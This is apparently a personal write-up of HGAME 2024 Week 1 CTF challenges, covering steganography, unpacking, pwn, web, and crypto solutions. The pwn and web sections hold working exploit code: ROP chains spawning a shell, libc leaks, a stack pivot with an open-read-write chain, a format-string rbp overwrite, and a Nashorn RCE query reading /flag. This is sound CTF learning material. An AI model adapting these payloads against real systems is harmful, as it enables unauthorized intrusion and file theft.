# HGAME 2024 Week1 > links: > - [writeup of hgame 2024 week2 (pwn challenges)](https://hackmd.io/@pnck/hgame2024week2) > - [writeup of hgame 2024 week3 (pwn challenges)](https://hackmd.io/@pnck/hgame2024week3) > - [writeup of hgame 2024 week4 pwn challenge (Google Colab)](https://colab.research.google.com/drive/1CMOAcLHxpyD4PBAiN_pR27P_p-JTu2mo?usp=sharing) ## MISC. `simple_attack` ****F*******: ![CleanShot 2024-02-02 at 02.06.46@2x](https://hackmd.io/_uploads/ryGXA8t5a.png) **THEY DIDN'T WORK AT ALL!!** *append: THE ONLY WORKING WAY is that **repack** the `103223779_p0.jpg` with _bandizip_, even failed by specifying `src.zip`. ![CleanShot 2024-02-04 at 00.13.04@2x](https://hackmd.io/_uploads/Sk9Gwk25a.png) ## MISC. `Greeting` - The file has been scaned on https://www.aperisolve.com/ - Extract using steghide with `123456` as passphrase. - ![CleanShot 2024-02-02 at 05.23.24@2x](https://hackmd.io/_uploads/rygk2ttc6.png) Get the special font from its official site. ## MISC. `Hill` - I don't know how to recover the image tbh. ![CleanShot 2024-02-04 at 15.34.21@2x](https://hackmd.io/_uploads/BJEMJThc6.jpg) ![CleanShot 2024-02-04 at 15.35.43@2x](https://hackmd.io/_uploads/H1Uz1Thqa.jpg) I ****BRUTEFORE** the cipher with ChatGPT: ![CleanShot 2024-02-04 at 15.29.05@2x](https://hackmd.io/_uploads/rySv622qp.png) ![CleanShot 2024-02-04 at 15.29.29@2x](https://hackmd.io/_uploads/H1IP632ca.png) ![CleanShot 2024-02-04 at 15.29.43@2x](https://hackmd.io/_uploads/B1IPah35a.png) ## RE. `ezPYC` ```python __import__('dis').dis(__import__('marshal').loads(open('/tmp/ezPYC.pyc','rb').read()[16:])) # skip header # constant ^ (1,2,3,4) ``` ## RE. `ezUPX` - UPX packed. - Remember of so called "Law of SP", which says the decompress/decrypt routine must keep the stack balanced, thus the stack pointer would restore to an initial position before executing the original program. We can use IDA as a debugger to find the restored entry point by tracing the stack changes. After that, we will be able to analyze it in-place to figure out the flag. 1. Set a HW breakpoint at the stack: ![CleanShot 2024-01-30 at 02.22.28@2x](https://hackmd.io/_uploads/BJG86wr5T.png) 2. Continue running until suspicious function prologue show up after HW breakpoint interrupted: ![CleanShot 2024-01-30 at 02.25.54@2x](https://hackmd.io/_uploads/S1GRawr96.png) (Interrupts at here. After _reanalyzing_ (`Options - Gerneral - Analysis - Reanalyze program`) we can clearly see a standard prologue, which differ from UPX unpacking routine a lot.) Also there is a pop up warning that `RIP` has jumped to somewhere not defined as code, which indicates that the execution flow has migrated from unpacking codes to the main procedure. ![CleanShot 2024-01-30 at 02.25.19@2x](https://hackmd.io/_uploads/HJIXJ_HqT.png) 3. Toggle decompile from here we'll be able to find the main function call: ![CleanShot 2024-01-30 at 02.45.03@2x](https://hackmd.io/_uploads/B1eDfdH5p.png) 4. The main function is simple, a single byte XOR loop: ![CleanShot 2024-01-30 at 03.58.40@2x](https://hackmd.io/_uploads/H1cFXFBq6.png) 5. Then the flag can be retrieved with IDAPython: ```python Python>''.join(chr(b^0x32) for b in get_bytes(get_name_ea_simple('to_compare'),0x25)) 'VIDAR{********}\x00' ``` ## PWN. `Elden Random` The buffer storing the first _read()_ will overflow by 8 bytes, which overrides the `seed` local variable. ![CleanShot 2024-01-30 at 06.02.21@2x](https://hackmd.io/_uploads/S1v4biH5T.png) ![CleanShot 2024-01-30 at 06.03.27@2x](https://hackmd.io/_uploads/rJu4bjB9p.png) By reproducing overflow with constant value, the _rand()_ results will be deterministic. We can generate a sequence by taking advantage of _[Compiler Explorer](https://gcc.godbolt.org/)_. ```cpp= int main() { srand(0); for (int i = 0; i < 100; ++i) { if (i % 10 == 0) { cout << endl; } cout << rand() % 100 + 1 << ","; } return 0; } /* 84,87,... */ // override the seed to be 0: // >>> r.send(b'A'*10+p64(0)) ``` Once reaching the final `myread()` function, remaining steps could have been totally automatic (refer to [this trick previously discussed](https://colab.research.google.com/drive/1zyThOJtMqwuzMInM1k_2clEsF5z3rhxC?usp=sharing)), **as long as a working `leak` method is provided.** ```python= # copy from ipython shell # how this method work, see https://colab.research.google.com/drive/1zyThOJtMqwuzMInM1k_2clEsF5z3rhxC?usp=sharing def leak(addr): ...: r.clean() # poprdi gadget from __libc_csu_init() ...: r.send(b'A'*48 + p64(0xdeadc0de) + p64(0x401423) + p64(addr) + p64(e ...: .sym['puts']) + p64(e.sym['_start'])) ...: ret = r.recvuntil(b"\nMenlina:")[:-9] ...: r.send(b'B'*10+p64(0)) ...: r.recvuntil(b'brilliant mind') ...: if not len(ret): ...: ret = b'\0' ...: return ret ``` A fun thing is that the iterator `i` is a static variable, so it's unnecessary to resend the _`rand() sequence`_ as shown above, since `i` stay the same after re-execution from _`_start`_. And the final payload is structured exactly the same to what has been shown in the reference link: ```python # copy from ipython shell In [183]: last_payload = ( ...: b"A"*48+p64(0xdeadc0de) ...: + p64(pop_rdi) ...: + p64(binsh) ...: + p64(pop_rsi_r15) ...: + p64(0) * 2 ...: + p64(pop_rdx_r12) ...: + p64(0) * 2 ...: + p64(execve) ...: ) ``` ![CleanShot 2024-01-30 at 06.53.53@2x](https://hackmd.io/_uploads/r1Vc3sB56.png) ![CleanShot 2024-01-30 at 06.49.16@2x](https://hackmd.io/_uploads/B16_jjB96.png) ## PWN. `Elden Ring I` - Ask ChatGPT to understand what restriction was set by `seccomp` calls: > So, the purpose of these calls is to restrict the process from making execve and execveat system calls. If the process tries to make either of these calls, it will be killed. This could be part of a security measure to prevent the process from executing other programs. As the explaination says the `execve` syscall is forbidden. We have to construct an `open - read - write` chain to read flag from remote filesystem. Since the _`read()`_ and _`puts()`_ (which acts as the writer function) have been imported, the only trouble that need to get over is to program an _`open()`_ call, requiring its entry address to be leaked. Back to the vulnerable, since the first overflow only provid 48 bytes of space, it's necessary to perform a stack-pivot, where the actual _`cat` payload_ will be hold. ![CleanShot 2024-01-30 at 15.49.55@2x](https://hackmd.io/_uploads/Skhuq7L9a.png) Luckily, this function provides an all-in-one gadget, which let us put the `cat` payload as well as migrate the stack at once: ![CleanShot 2024-01-30 at 23.02.26@2x](https://hackmd.io/_uploads/Bkk3VqL9a.png) The available stack address can be retrieved by _`DynELF.stack()`_: ```python # copy from ipython shell In [233]: def leak(addr): ...: r.clean() ...: p = fixture+p64(0x4013e3) + p64(addr) + p64(e.sym['puts']) + p64(e.s ...: ym['vuln']) ...: p += p64(e.sym['vuln'])*((0x130 - len(p))//8) ...: r.send(p) ...: ret = r.recvuntil(b"\nGreetings.")[:-11] ...: if not len(ret): ...: ret = b'\0' ...: return ret dyn = DynELF(leak,0x3ff000) base = dyn.bases()[b'./libc.so.6'] sp = dyn.stack() - 0x1000 # any legal stack space ``` Then perform a _read()_ call to read the _`cat` payload_ into the chosen address: ```python In [293]: def setreg(base,**kw): ...: pop_rax = base + 0x00036174 ...: pop_rdi = base + 0x00023b6a ...: pop_rsi = base + 0x0002601f ...: pop_rdx = base + 0x00142c92 ...: dx_sp = base + 0x0005b4d0 ...: payload = b'' ...: if 'rax' in kw: ...: payload += p64(pop_rax)+p64(kw['rax']) ...: if 'rdi' in kw: ...: payload += p64(pop_rdi)+p64(kw['rdi']) ...: if 'rsi' in kw: ...: payload += p64(pop_rsi)+p64(kw['rsi']) ...: if 'rdx' in kw: ...: payload += p64(pop_rdx)+p64(kw['rdx']) ...: if 'rsp' in kw: ...: payload += p64(pop_rdx)+p64(kw['rsp'])+p64(dx_sp) ...: return payload ...: fnopen = dyn.lookup('open','libc') cat = ( b'flag\0\0\0\0' + setreg(base,rdi=sp,rsi=0) + p64(fnopen) + setreg(base,rdi=3,rsi=sp+0x400,rdx=0x100)+p64(e.sym['read']) + setreg(base,rdi=sp+0x400)+p64(e.sym['puts']) ) cat += p64(e.sym['_start'])*((0x130 - len(cat))//8) fixture = b'A'*256+p64(sp) # <= leave payload1 = fixture + setreg(base,rax=sp)+p64(0x40127d)+p64(e.sym['vuln']) payload1 += p64(e.sym['vuln'])*((0x130 - len(payload1))//8) r.send(payload1) r.send(cat) r.recv() ``` ## PWN. `ezfmt` ### This is a really tricky challenge.I would like to write much more details for it. `fmtstr` problems usually requires a read-write loop so that you leak out the essential address, then write something back to a calculated address to hijack the routine. Another common way is to overide the offsets stored in `.got`, then call the modified dynamic-resolved function to jump to arbitary address/procedures. But in this challenge, both of the techniques mentioned above failed. As the disassembly shows there is nothing more than a trivial return from after the vulnerable `printf`: ![CleanShot 2024-02-03 at 17.56.31@2x](https://hackmd.io/_uploads/rk9-AYo96.png) ![CleanShot 2024-02-03 at 17.57.47@2x](https://hackmd.io/_uploads/HkD7RFiqT.png) Since the target vulnerable has embeded a backdoor function `sys`, we have to catch the only chance and control the execution flow returning to `sys`. - My first idea was to hijack the stack checker, which was soon proven impossible, since the stack never overflows: ![CleanShot 2024-02-03 at 18.01.27@2x](https://hackmd.io/_uploads/HJrNkcj96.png) ![CleanShot 2024-02-03 at 18.01.52@2x](https://hackmd.io/_uploads/r1OEJqoc6.png) - Next I turned to the finish hook `.fini_array`, which has a static address, and it seems to be writable: ![CleanShot 2024-02-03 at 18.04.48@2x](https://hackmd.io/_uploads/Bylne9j96.png) However it's just an illusion. When loaded into memory, it turned to be immutable, locked by `ld`: ![CleanShot 2024-02-03 at 18.11.23@2x](https://hackmd.io/_uploads/SJ_nbcjq6.png) - So the only key left to us remained the **`rbp` chain**. ### The `xBP` chain in _Format String_ challenges - We know the `%n` specifier requires an address of a variable. `printf("%n",&v)` writes the number of printed characters into `v`. So the behavior on the given value to `%n` will be: 1. (x86_64) If the format specifier is indicating the first 4 variadic arguments, the value from corresponding register is taken as `addr`, the number will be written to `addr`; 2. If the specifier is indicating the latter arguments, the value from corresponding stack position is taken as `addr`, in which case we notice that: - (i). If we want to change some value on the stack by `%n`, e.g. the return address of current subprocedure, **there must be a cross-reference(xref)** to the address of the target value, inside the stack area, which can be discovered by searching the memory. - (ii). If our _format string_ is put on the stack, since the `printf` specifiers are able to refer to the _string_ itself, we can write arbitary address by giving the address within the _format string_. - Now take a look at `*bp` (i.e. `rbp`/64, `ebp`/32). - We know that `bp` is saved to the stack whenever diving into the next call, and each `bp` of the _`stack frame`_ **is chained, pointing to** its caller's. - We know the return address of current _frame_ is stored next to the saved `bp`. When the current subprocedure ends, the _epilogue_ will do some job **equivalent to `mov bp => sp; pop bp;`** Consider the two points, we found that the `bp` chain perfectly meet the requirement of the stack layout towards the _format string_ exploit. If we manage to get the `%n` referencing to the `bp` of current stack frame, it is possible to **change the saved `bp` of its caller**, which is taken as **new `bp` value when the caller returns**, and finally redirect the `sp` and `*ip` when **the caller of caller** returns. In a word: **If `%n` references to a stack frame of a function, we take control when the caller of caller of that function returns**. However in this challenge, the caller of vulnerable function is `main()`. The caller of `main()` never returns, the process end up with calling `exit()` directly. - What about... find OTHER `bp` chains rather than the current? - Let's search the memory for somewhere pointing to current `rbp`: ![CleanShot 2024-02-04 at 05.43.26@2x](https://hackmd.io/_uploads/Bk4-NN25p.png) . ![CleanShot 2024-02-04 at 05.44.05@2x](https://hackmd.io/_uploads/BJYZENhcT.png) Wow! There it is! It lands on the `%18$` position, just take it as the payload! - Attention, we are about to change the `bp` value saved in current frame, so it takes effect when the `main()` is returning. We want the forged `bp` to point to the tail of the payload, so that the returning address is completely specified by us. - Since the forged `bp` is quite near to original legal `bp` address, only the lowest byte is needed as the `%n` argument. To struggle against randomized address, we **need some luck** to get the payload working. I end up with this: ```python fmt = b'%120c%18$hhnPPPP' + p64(e.sym['sys'])*6 ``` `sp` must be aligned to 16 bytes before calling `system()`, so the payload set the `sp` to `0xxxxx78`. Inside `sys()` there is another `push` adjusting the stack to be aligned. - After a bunch of spamming, we are in: ![CleanShot 2024-02-04 at 06.17.07@2x](https://hackmd.io/_uploads/H1WJnEnca.png) hOOH.. That's it. **... or, is it?** ### The Amazing, The Weired If you can't find any clue in this challenge, you might be suffering this: ![CleanShot 2024-02-04 at 06.28.33@2x](https://hackmd.io/_uploads/SJQdAV29a.png) **Huh?! There isn't any available rbp chain at all!!!** #### What's going on? After research around, I notice that the solution **relies on a very specific condition**. If you are interested, pleas refer to [this post for more details](https://hackmd.io/@pnck/B12EGuA56). ## PWN. `ezshellcode` - Sized comparasion. Bypass it by sending negative "length". ![CleanShot 2024-01-31 at 00.29.06@2x](https://hackmd.io/_uploads/B1Wg4s8qa.png) - https://github.com/veritas501/ae64 ## WEB. `Courses` - Capability is refreshed after a period of time, definitely need some luck to have a chance noticing that. - Perform a busy loop to catch the opportunity: ```javascript const f = (id)=>fetch("http://47.100.137.175:31203/api/courses", { "headers": { "accept": "*/*", "accept-language": "en,en-US;q=0.9,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.6,ja;q=0.5", "content-type": "application/json" }, "referrer": "http://47.100.137.175:31203/", "referrerPolicy": "strict-origin-when-cross-origin", "body": JSON.stringify({id:id,is_full:false,status:true}), "method": "POST", "mode": "cors", "credentials": "omit" }) a = setInterval(()=>[1,2,3,4,5].map(f),1000) // go back to check /api/ok after a while ``` ## WEB. `Bypass It` - Seems nothing responded: ![CleanShot 2024-02-01 at 01.51.07@2x](https://hackmd.io/_uploads/B1wT_bd9a.png) - What about fetch it manually? ![CleanShot 2024-02-01 at 01.54.45@2x](https://hackmd.io/_uploads/BkB_YW_5a.png) It actually did return a page, in which we can see the form to be posted with in registeration. - Follow the form to make registeration request: ![CleanShot 2024-02-01 at 02.02.02@2x](https://hackmd.io/_uploads/BkqXiZd5a.png) Then _login_ will be available, after that the flag is presented. ## WEB. `32768` - Mute out debugger breakpoints: 1. Enable local override for the main js file; 2. Replace all "debu" string with "_debu"; 3. ~~Name something to _`_debugger`_ (e.g. function _debugger(){}) to make the statement meaningful.~~ - Examine the obfuscated code, it shows that the string literals and identifier/names are likely to be plain text. So we can directly search the keywords such as `game over`, which leads us to this function: ![CleanShot 2024-02-01 at 04.55.55@2x](https://hackmd.io/_uploads/SJ4eVNOq6.png) Think about the game procedure, the "game over" message must follow up with stepping actions. So here the breakpoint should take us into a judement deciding whether we have won the game, where were likely to let us capture the flag. - Play the game, we found that the breakpoint is imediately taken. Check the call stack, where we can find some suspicious judgements: ![CleanShot 2024-02-01 at 05.07.52@2x](https://hackmd.io/_uploads/S1piPVd9a.png) - Also we can see some data structure very likely to be for holding number blocks. - Break here and modify the cells to generate 2 `16384` block, merge them into `32768`, then the flag will be presented. ## WEB. `jhat` ### * I'M TOO DUMB TO UNDERSTAND THE HINT "NEED RCE" - which actually means "**ALL YOU NEED** is RCE." ### Correct solution / step: 1. Randomly try executing OQLs until you notice the error message: ![CleanShot 2024-02-03 at 01.44.07@2x](https://hackmd.io/_uploads/B1Ir9iq56.png) 2. Search this component from google you'll know that it's an ES interpreter built into JDK. 3. Read [the official _`nashorn`_ manual](https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html#sthref17) and learn to use the _**Java Interface**_ from inside the script. 4. Use Java's IO utils to read the flag from the filesystem. ```javascript select function(_){ var File = Java.type("java.io.File"); var Scanner = Java.type("java.util.Scanner"); var flag = new Scanner(new File("/flag")); return ["->",flag]; }(c) from 0x70fa9a6d0 c ``` ### _**Failed Attempts**_ to retrieve infomation from the headump - Snippet to convert the content preview to readable. ```javascript Array.from(document.querySelector("body > table > tbody").children).forEach((e)=>{const sz = new TextDecoder().decode(Uint8Array.from(eval(`[${e.firstChild.innerText.slice(1,-1)}]`)));e.firstChild.innerText = sz}) for(let e of document.querySelectorAll("body > a")){ if (! /\{.+\}/.test(e.innerText)){ continue } try { const sz = new TextDecoder().decode(Uint8Array.from(eval(`[${/\{.+\}/.exec(e.innerText)[0].slice(1,-1)}]`))); e.innerText = sz; } catch(_) {} } ``` - Attempted OQLs: ```javascript // find concerned strings select function(o){ var jsz = toArray(referrers(o))[0]; return [[jsz,"<=",referrers(jsz)],String.fromCharCode.apply(null,toArray(o))]; }(o) from [B o where o.length < 1000 && function(s){ return /demo1/.test(s); }(String.fromCharCode.apply(null,toArray(o))) // retrieve the header of large buffers select function(o){ var range = ''; for(var i=0;i<8;++i){range += ''+i;} var s = 'H=>' + JSON.stringify(String.fromCharCode.apply(null,toArray(range).map(function(k){return o[k];}))); return [s,o.length,o,referrers(o)] }(b) from [B b where b.length > 1000 // list loaded jars select function(o){ return [o,String.fromCharCode.apply(null,toArray(o.name.value))]; }(o) from instanceof java.util.jar.JarFile o ``` ## CRYPTO. `PRNG` - Refer to this [original challenge writeup](https://web.archive.org/web/20220626225929/https://igml.top/2018/12/21/CTF%E4%B8%AD%E7%9A%84LFSR/). - Only the first 32 bits are essential. see the reference for detail. ## CRYPTO. `ezMath` - Referer to the _[`Pell's Equation` section.](https://web.archive.org/web/20230130020018/https://lazzzaro.github.io/2020/05/10/crypto-crypto%E5%B8%B8%E7%94%A8%E7%AE%97%E6%B3%95/index.html#%E4%BD%A9%E5%B0%94%E6%96%B9%E7%A8%8B-Pell%E6%96%B9%E7%A8%8B)_ - Solve the equation at https://www.wolframalpha.com/widgets/view.jsp?id=fce23d652d7daf349cdbef6bda6d6c3f ## CRYPTO. `ezRSA` - ${p}^{q} \equiv {p} \mod {(p*q)}\quad \mathrm{\text{(p,q is prime)}} \quad \mathrm{\Rightarrow\text{leak1 is p, leak2 is q}}$ - `d = gmpy2.invert(e,(leak1-1)*(leak2-1))` ## CRYPTO. `Pictures` - The most interesting problem in this week IMO. - What we learn from the source code: 1. Each original flag image has the **same background**. 2. The `Key Image` wipes out the solid glyph and `Xor`-ed into **every** image. 3. Within each step, a single flag letter was draw onto the last image, which means **the images generated adjacently in sequence only differ by a single glyph**. 4. **The images had been prepared before saving** them to disk. The randomly _sleep()_ doesn't matter to the drawing of the flag letters. In another word, **the glyph-generating order is guaranteed to be the same to the flag letters'**. ### Solution - From `1.` `2.` we can conclude that: - `Xor` between any 2 images will erase the background since their original background and `Key` is totally the same. (clue 1) - From `3.` and `clue 1` we can conclude that: - If we find an image that `Xor`-ed from `A` and `B`, and the image shows only one glyph, it indicates that `A` and `B` are generated one by another. (clue 2) - From `4.` and `clue 2` we can conclude that: - If we arrange all the single-glyph image satisfying that the related `A` and `B` is linked to each other, we get the image generation order, which indicates the letter order of flag. To operate with image and pixiel caculation, always remember of the old friend `numpy`: ```python from glob import glob from itertools import combinations import numpy as np imgs = list(map(Image.open, glob("./png_out/*.png"))) def qXor(k1, k2): img1 = None img2 = None if isinstance(k1, int): img1 = imgs[k1] if isinstance(k1, Image.Image): img1 = k1 if isinstance(k2, int): img2 = imgs[k2] if isinstance(k2, Image.Image): img2 = k2 a1 = np.array(img1) a2 = np.array(img2) return Image.fromarray(np.bitwise_not(np.bitwise_xor(a1, a2))) # I transformed the background to be white for easier observing, # which is only my habit and not necessary. ``` Next we generate all `Xor` combinations to find the images containing one glyph: ```python for subset in combinations(range(len(imgs)), 2): d = np.array(qXor(*subset).convert("RGBA")) rgb = d[:, :, :3] mask = np.all(np.abs(rgb - [255, 255, 255]) < 5, axis=-1) # tolerance, to ensure the background neat and clean d[:, :, 3] = np.where(mask, 0, 255) img = Image.fromarray(d, "RGBA") img.save(f"./combinations/{subset[0]}_{subset[1]}.png") # Make the background transparent for easier observing, later when overlapping them together ``` ![CleanShot 2024-02-03 at 03.55.38@2x](https://hackmd.io/_uploads/HkMytTcc6.png) I strongly recommand that put all the chosen image into an image editor. Some images may be very similar, and you definitely need to overlap them together to make sure you catch different pieces. Rename the layers so that we know both the content and the `source numbers`, which is very helpful while adjusting the order. We know the flag starts from `hgame{` and end with`}`, so let it be. And the remaining order should be able to reveal. ![CleanShot 2024-02-03 at 03.59.44@2x](https://hackmd.io/_uploads/Hk07ca59p.png) ![CleanShot 2024-02-03 at 03.59.54@2x](https://hackmd.io/_uploads/HJW4c69qT.png)